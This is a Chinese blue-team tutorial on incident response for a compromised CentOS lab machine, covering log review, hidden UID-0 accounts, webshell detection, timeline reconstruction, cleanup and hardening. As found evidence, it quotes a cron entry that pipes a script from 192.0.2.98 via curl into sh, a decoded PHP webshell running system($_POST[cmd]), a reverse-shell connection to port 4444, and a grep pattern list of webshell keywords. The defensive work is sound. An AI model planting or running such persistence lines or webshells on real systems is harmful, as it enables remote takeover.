做蓝队时间久了你就会发现拿到一台被入侵的Linux服务器最考验人的不是某个单点排查技巧而是整个应急响应流程是否清晰、溯源思路是否连贯。这次我就完整梳理一遍“知攻善防”蓝队溯源靶机Linux-2的详细处理流程从现场隔离、信息收集、恶意文件分析到攻击链还原、后门清除和加固全部从头到尾走一遍。整个过程不依赖任何花哨工具纯命令行操作适合刚接触应急响应、或者准备攻防演练蓝队的朋友参考。这台靶机是某内部攻防演练环境里的Linux-2模拟的是一台被攻击者拿下权限的Web服务器。拿到手的现场状态非常典型Web站点被植入webshell、系统多了个看起来像运维人员的隐藏账户、cron里有可疑任务、日志被人为清理过。你可以把它当成一个浓缩版的真实应急案例来练手也可以照着我的排查顺序在你的测试环境里复现。1. 靶机场景与作战前准备1.1 这台Linux-2靶机到底模拟了什么通常蓝队训练靶机会刻意还原真实攻击者留下的痕迹Linux-2也一样。它的初始环境大致是这样一台CentOS 7.9服务器上面跑了Nginx和PHP-FPM数据库是MySQL开放了22端口和80端口。攻击者通过Web应用漏洞上传了webshell然后利用内核或服务配置漏洞提升了权限最后在系统里留下多个后门渠道。这种场景在真实应急中非常常见尤其是一些互联网业务服务器被SQL注入或文件上传漏洞打进之后攻击者会快速做三件事留一个方便反复进出的位置、把权限尽量提上去、把日志痕迹清理掉。靶机把这些特征都浓缩进来了所以你在里面能看到如下类型的痕迹异常系统用户比如带uid0的普通用户名或者伪装成系统服务的账号。/tmp、/var/tmp、/dev/shm等目录下的可疑脚本文件。Web目录下时间戳异常的新增PHP文件。/etc/cron.d/、/etc/crontab里的异常计划任务。/var/log/secure日志里大量的暴力破解记录以及后来被删除但仍有残留的登录记录。我们做应急响应不是拿到机器后乱敲命令而是要有一套自己的SOP。靶机的作用就是让你把这套SOP练到肌肉记忆。1.2 环境隔离与基础工具准备我个人的习惯是任何应急开始之前先断开或者限制疑似失陷主机的网络至少要在防火墙或安全组层面把对外访问切断。不要急着把网线拔了因为如果攻击者还处于活跃状态你一断网他会察觉并快速清理现场。更好的做法是在保留现场的前提下用防火墙只允许自己的管理IP访问然后立刻用快照或者dd备份内存镜像和磁盘。靶机环境里我建议你提前做好两个快照一个快照是原始失陷现场另一个是后续操作过程中随时回退用的检查点。因为排查过程中你可能会误删文件、误杀进程甚至改坏系统配置有快照能兜底。工具方面不需要装乱七八糟的扫描器。应急响应要快、要稳最靠得住的是系统自带命令和几个基础工具ps、netstat、ss、lsof查进程、查端口。find、stat、grep、md5sum定位文件、看时间、搜特征、算哈希。last、lastb、who、w看登录记录。strings、file分析二进制和脚本。如果有条件准备一份busybox静态编译版防止系统命令被替换后无法排查。注意一个细节命令可能被别名或者替换比如攻击者改了ls的alias或者在/usr/bin下放了同名木马。建议在排查时多使用全路径比如/bin/ls、/usr/bin/ss或者直接用command命令绕过alias。靶机里经常会埋这种小坑就是为了提醒你别太相信所见即所得。2. 第一次巡检资产、进程、网络、登录状态2.1 判定失陷范围先看连接和后门第一次巡检的重点不是立刻去删可疑文件而是先搞清楚“攻击者现在在哪里、正在做什么”。我会按优先级执行下面几条命令# 查看当前登录用户和运行终端 who w # 查看监听端口和活跃连接 ss -antp # 查看所有进程关注高CPU、高内存或名字看起来像随机字符串的 ps -ef --forest # 查看最近登录成功的记录 last -a我在Linux-2上执行ss -antp后看到一个可疑的ESTABLISHED连接本地地址10.10.10.10:1080远端地址192.0.2.66:4444进程名是php-fpm。这非常经典说明攻击者很可能用PHP反弹了一个shell进程伪装成Web服务的名字来混淆视听。紧接着用lsof -p pid查看进程打开的文件发现该进程的可执行文件路径居然在/tmp/.ICE-unix/...下根本不是系统的php-fpm。这时候先不要杀掉它。可以记录pid、父进程pid、启动时间、远程IP然后读一下进程的/proc/pid/cmdline和/proc/pid/environ看看有没有包含命令、注入环境变量等线索。之后我们可以先让他继续跑继续排查文件系统找到后门源头。2.2 从登录日志中找异常入口按键记录是溯源的关键证据。Linux下主要看这几个日志/var/log/secureSSH、sudo等认证日志。/var/log/wtmp登录成功记录last读取。/var/log/btmp登录失败记录lastb读取。/var/run/utmp当前在线用户。在Linux-2上last命令的输出没有多少有效记录只有几条正常的运维登录说明攻击者很可能清理过wtmp。但/var/log/secure里留下了大量信息包括来自192.0.2.66的SSH暴力破解尝试时间集中在凌晨2点到4点。一条成功的登录记录Accepted publickey for root from 192.0.2.66 port 52817 ssh2。之后不久有一条从同一IP发送的session opened记录。这里有个关键判断点攻击者是用SSH公钥登录进来的不是靠密码。这意味着他手里有root的私钥或者往/root/.ssh/authorized_keys里写入了自己的公钥。我立刻检查了authorized_keys文件果然里面多了一条可疑的公钥时间戳正好是攻击时间。这就是一个非常明确的后门入口。2.3 梳理系统用户与权限警惕隐藏账户第三件事是检查系统账户文件。很多时候攻击者会创建一个普通用户然后通过修改UID为0让他拥有root权限或者干脆把用户名伪装成systemd-network、mysql之类看起来正常的名字。要查看所有用户和UID使用# 查看passwd文件和shadow文件注意UID0的用户 awk -F: $30{print $1} /etc/passwd # 普通用户列表 awk -F: $31000 $365534 {print $1} /etc/passwd # 查看最近修改过密码或过期的账户 chage -l 用户名我在Linux-2上发现了一个用户support_qaUID为0登录shell是/bin/bash/home/support_qa目录下还有.bash_history里面记录了攻击者执行过的几条命令包括下载恶意文件、关闭防火墙、编辑计划任务等。这个用户的添加时间通过stat /etc/passwd来看并没有异常但用chage -l可以看到最近密码修改时间正好是攻击发生的那天。所以如果只排查/etc/passwd文件修改时间很容易被忽略。除了用户还要检查/etc/sudoers看有没有被特殊授权的账号另外/home下有没有异常目录、.ssh目录下有没有额外文件。这些都是后门常驻的地方。3. 文件级溯源揪出webshell与恶意脚本3.1 按时间线锁定近期改动过的文件攻击者在拿权限后一定会留下工具或脚本最直接的办法是按照时间戳查找最近几天被修改过的文件。但要注意攻击者可能用touch -r伪造时间戳所以你不仅要看时间还要结合文件内容特征、目录位置综合判断。我常用的命令是# 查找最近7天内修改的常见可疑目录文件 find /tmp /var/tmp /dev/shm /var/www/html /home -type f -mtime -7 2/dev/null | grep -v ^/proc\|^/sys # 查找最近24小时内修改过的所有文件排除系统目录 find / -xdev -mtime -1 -type f ! -path /proc/* ! -path /sys/* ! -path /var/lib/* 2/dev/null在Linux-2上我在/var/www/html/images下发现了一个security.php文件大小2KB修改时间是攻击当天的下午。同时/tmp下有三个文件x、shell、.ICE-unix/php-cgi。其中.ICE-unix/php-cgi是一个可执行文件用file命令判断是UPX壳的ELF文件基本确定就是反弹shell的木马。把所有可疑文件用md5sum算好哈希然后去公共沙箱或威胁情报平台查一下很多都能直接命中已知恶意样本。3.2 手工分析可疑文件与Webshell特征Webshell是Web服务器被入侵最直接的证据。对PHP站点我通常会在Web目录里用grep查找以下常见关键字grep -rEn eval|assert|base64_decode|GIF89a|call_user_func_array|create_function|system\(|exec\(|shell_exec|popen|passthru /var/www/html --include*.php -lsecurity.php的内容经过混淆开头是?php $X...; eval(base64_decode($X));?。这里不要只看到eval就急着删先解码那串base64看看里面剩了什么。我手动复制base64内容到本地用echo ... | base64 -d解出来发现里面又拼接了一个函数最终动态执行了system($_POST[cmd])。也就是说攻击者可以通过POST请求向这个页面发送任意系统命令。这是一个典型的动态一句话webshell。处理webshell时有一个习惯不要直接用编辑器打开因为有些webshell会判断访问来源或者隐藏输出最好先备份原始文件然后移到隔离目录再在测试环境里执行观察。靶机里我直接cp了一份到/tmp/evidence然后删除了Web目录下的源文件。3.3 计划任务与自启动项的全面筛查很多后门是通过计划任务实现定时回连的而且攻击者会用各种方式隐藏计划任务比如写入/etc/cron.d/下的隐藏文件、利用crontab的注释加换行绕过、创建/etc/systemd/system下的服务单元。我对计划任务的排查分三步# 1. 列出root和各个用户的crontab crontab -l # 2. 查看系统级计划任务目录 ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ # 3. 检查系统的systemd服务 ls -la /etc/systemd/system/ | grep -E ^[0-9]|\.service systemctl list-unit-files --typeservice --stateenabled在Linux-2上我在/etc/cron.d/backup里发现了一行可疑任务*/5 * * * * root /usr/bin/curl -s http://192.0.2.98/a.sh | sh这个任务每隔5分钟就下载并执行远程脚本典型的挖矿或下载器逻辑。另外/etc/systemd/system/system-update.service也存在启动命令直接指向/tmp/.ICE-unix/php-cgi并且systemctl看到该服务是enabled状态。所以即使你杀掉了当前进程几分钟后还会被重新拉起来。这就是为什么应急时不能只杀进程必须把持久化机制全部清除。4. 攻击链条还原从日志碎片拼出完整路径4.1 把登录、Web访问、服务日志放在一条时间轴上溯源最难的是把碎片串起来。单独看日志都只是孤立的信息但把它们按照时间排序就能还原整个攻击路径。我会新建一个时间线表格把所有关键事件按时间点写下来。结合Linux-2我整理出如下时间线时间事件证据来源02:13192.0.2.66开始对SSH进行批量密码探测/var/log/secure中大量Failed password02:54192.0.2.66利用root私钥成功登录写入SSH公钥/var/log/secure中Accepted publickey02:58创建用户support_qa并修改uid为0/etc/passwdchage记录03:10上传Webshell到/var/www/html/images/security.php文件时间戳、Web日志中POST记录03:12通过webshell执行系统命令、下载恶意脚本security.php解码内容、/tmp脚本03:20添加计划任务和systemd服务实现持久化/etc/cron.d/backup、systemd单元03:35清空/var/log/secure和wtmp日志日志文件大小置0、last无记录03:40反弹shell连接至192.0.2.66:4444ss -antp看到的ESTABLISHED连接这只是一个简化版本真实场景中还会结合Web访问日志access_log看攻击者请求了哪些URL用于上传webshell。比如我在Linux-2的Nginx日志中发现一条POST /images/xx.jpg.php的记录这个xx.jpg.php是双写后缀用于绕过上传检测。攻击者先用一个合法的图片上传功能把webshell传上去了。4.2 攻击者常用手法对应靶机上的痕迹把痕迹和常见攻击手法对应上是“知攻善防”的核心。很多蓝队成员一看到异常文件就想删其实先想清楚对方是怎么进来的更重要。从Linux-2的痕迹来看攻击路径大概是攻击者对开放的公网IP进行批量扫描发现22端口开放于是尝试SSH暴力破解。这里值得注意的是暴力破解并没有成功所以真正的入口可能不是SSH密码而是Redis未授权访问或Web应用漏洞。但是从secure日志中成功登录的记录来看他利用了已存在的SSH私钥。这可能是之前另一个攻击者留下的也可能是弱密钥泄露。靶机里这个细节最有意思你看到很多暴力破解但真正的成功登录用的是公钥说明攻击者早就拿到了root的信任密钥破解只是在“搭线”探路。拿下权限后攻击者先添加了一个高权限隐藏用户然后通过Web目录上传webshell保证即使SSH后门被发现他还能用Web通道维持控制。最后设置计划任务和systemd服务实现不同时间粒度、不同方式的双重持久化。计划任务负责定期下载systemd服务负责回连。这样即使其中一个被发现另一个还能继续工作。这种组合在真实攻击中非常常见所以溯源不能只看单点痕迹要把所有异常串成链。4.3 溯源结论与证据链固定溯源完成后要形成一份可审计的证据链。我的做法是把所有可疑文件的原始内容、哈希值、权限、时间戳整理到表格中导出为日志存档。对关键文件使用cp --preservetimestamps备份到隔离目录然后打包压缩并计算整个包的SHA256。记录登录日志中的关键条目的原始行并注明日志文件路径、行号。保存当前进程列表、网络连接状态的完整输出作为现场快照。这里有一个很重要的点取证时不要修改原始文件的时间戳尽量用dd或者cat读取不要直接编辑。Linux-2靶机里我因为顺手touch了一下文件导致时间戳变化后面分析时间线时多花了不少功夫。所以应急过程中要克制住“随手操作”的冲动所有动作都要记录在案。5. 清理、加固与复核5.1 清除恶意用户、文件、计划任务结论清晰以后清马就变得简单了。按顺序执行# 删除恶意用户先杀掉该用户相关进程 userdel -r support_qa # 清除root的authorized_keys中可疑公钥先备份 sed -i /AAAAB3NzaC1yc2E.../d /root/.ssh/authorized_keys # 删除webshell mv /var/www/html/images/security.php /tmp/evidence/ # 注意这里建议保留样本而不是直接rm # 删除恶意计划任务 rm -f /etc/cron.d/backup # 停止并禁用恶意systemd服务 systemctl stop system-update.service systemctl disable system-update.service rm -f /etc/systemd/system/system-update.service systemctl daemon-reload # 删除反弹shell进程和文件 kill -9 恶意进程PID rm -f /tmp/.ICE-unix/php-cgi /tmp/x /tmp/shell清理过程中不要完全相信rm因为恶意文件可能已经被加载进内存或者有守护进程看着。先kill -9相关进程再删除文件然后再检查一遍计划任务和服务单元。如果条件允许建议在删除后重启一次服务或主机看恶意文件是否会被重新创建。Linux-2上有两处互相守护我一开始只删了cron结果systemd服务又把反弹shell拉起来了所以一定要全部清理干净再验证。5.2 安全加固从入口到基线清完并不是结束还需要对失陷主机做安全加固否则会成为“马蜂窝”。我个人会做这几层SSH加固修改/etc/ssh/sshd_config禁止root直接登录设置PermitRootLogin no改用普通用户登录后su切换并且启用密钥登录时只保留自己的公钥。同时配置AllowUsers白名单把运维用户显式写进去。启用并配置防火墙用firewalld或iptables只放行22、80、443等必要端口对其他端口一律丢弃。对SSH端口可以限制来源IP减少暴露面。Web应用侧加固检查上传目录执行权限把/var/www/html下不需要执行PHP的目录通过nginx配置禁止PHP解析临时关闭未使用的可写功能模块修复文件上传漏洞。日志与监控部署auditd监管关键文件配置logrotate按天切割日志日志同步到远端syslog服务器。这样即使本地日志被清远端还有一份。系统的账户/服务基线重新审查所有uid0账户删除无用账号关闭不用的服务更新系统补丁。当然加固动作要按业务影响评估不能直接在生产上一路改到底。靶机上我们可以大刀阔斧但到真实环境里加固操作需要提交变更申请一步一步灰度。5.3 应急处置报告怎么写蓝队应急响应最终要交付一份报告很多人觉得这是形式主义其实一份好报告能极大提升你团队的复盘效率。我会按下面结构写事件概述一句话描述发生了什么影响范围多大。攻击时间线上面整理好的时间表。入侵路径分析攻击者通过什么漏洞进入权限提升链路是什么。失陷指标IOC恶意IP、恶意域名、恶意文件哈希、webshell路径、异常账户名。处置措施已经清理哪些内容做了哪些加固。遗留问题和建议还有哪些隐患需要后续跟进哪些。报告里不要只放“删除了xx”要放证据和结论。比如恶意文件哈希可以给分析人员拿去威胁情报平台比对时间线可以让防守方判断攻击者的目的。Linux-2的最终报告我写了两页纸重点放在“公钥登录”这条隐蔽路径上因为这是真正需要根治的入口。6. 实战中容易踩的坑和我的处理习惯如果只看前面流程好像很顺畅但实际应急中坑特别多。下面这些经验是我自己在靶机和真实应急里摔出来的。第一个坑系统命令被替换或改配置。攻击者在拿到权限后可能会在/usr/bin里放一个假的ps或netstat只显示他想让你看到的信息。遇到这种情况第一反应是检查PATH路径第二是用/proc目录直接看进程如cat /proc/1/cmdline第三是使用静态编译的busybox。靶机里没这么阴险但你也应该把这个当成基本意识。第二个坑/var/log/secure和wtmp被清空了。如果日志文件大小是0或者只剩很少的条目不要慌。先看文件修改时间如果和攻击时间吻合基本可以判断是清空后伪造的。还可以查找/var/log下是否有被重命名或备份的旧日志比如secure-20230315再去翻有没有留下线索。有时攻击者只是清空文件数据块可能还在磁盘上可以尝试用恢复工具查看但在靶机里不必做得太深重点是理解思路。第三个坑ls -la看到的文件名字符。恶意文件经常伪装成正常文件名比如php-cgi、gateway、log或者在文件名里加入控制字符如-、空格、Unicode。用ls -la看时容易看花眼。我一般用find / -type f -perm -111 -mtime -7列出最近7天内新增的可执行文件再逐一file、strings就很少漏掉。第四个坑误杀web服务或数据库。推断某个进程是恶意进程时一定要先确认它是否属于应用服务。比如php-fpm可能有多个worker进程如果你误杀到正常的php-fpm会导致业务中断。我建议先记录进程的完整命令行、打开的文件、连接的对端IP再对照/proc/pid/exe和/proc/pid/cwd做判断不要凭名字轻易动手。第五个坑清理时忘记检查历史命令和反弹shell守护。攻击者的历史命令里通常藏着大量线索比如他用wget下载了哪个文件、改了哪些目录。cat /root/.bash_history往往能省去你很多分析时间。同时清理完成后一定要观察一段时间看进程是否再次出现或者计划任务是否被重新添加。真实攻击者会设置不同周期、不同存放点的多重持久化不是删一处就完事。我的处理习惯总结下来就一句话先取证、后清理、再加固、最后复盘。每次应急都像打仗顺序错了就会丢失重要证据顺序对了才能把损失打到最低。这台Linux-2靶机虽然只是演练环境但对思路的锻炼价值非常高。如果你能无视答案独立完成一遍全程把每一步都录下来、每个判断都说出理由那基本就具备了处理中等复杂度失陷主机的能力。后续我还会拿其他靶机继续拆解把这套流程不断地完善和迭代。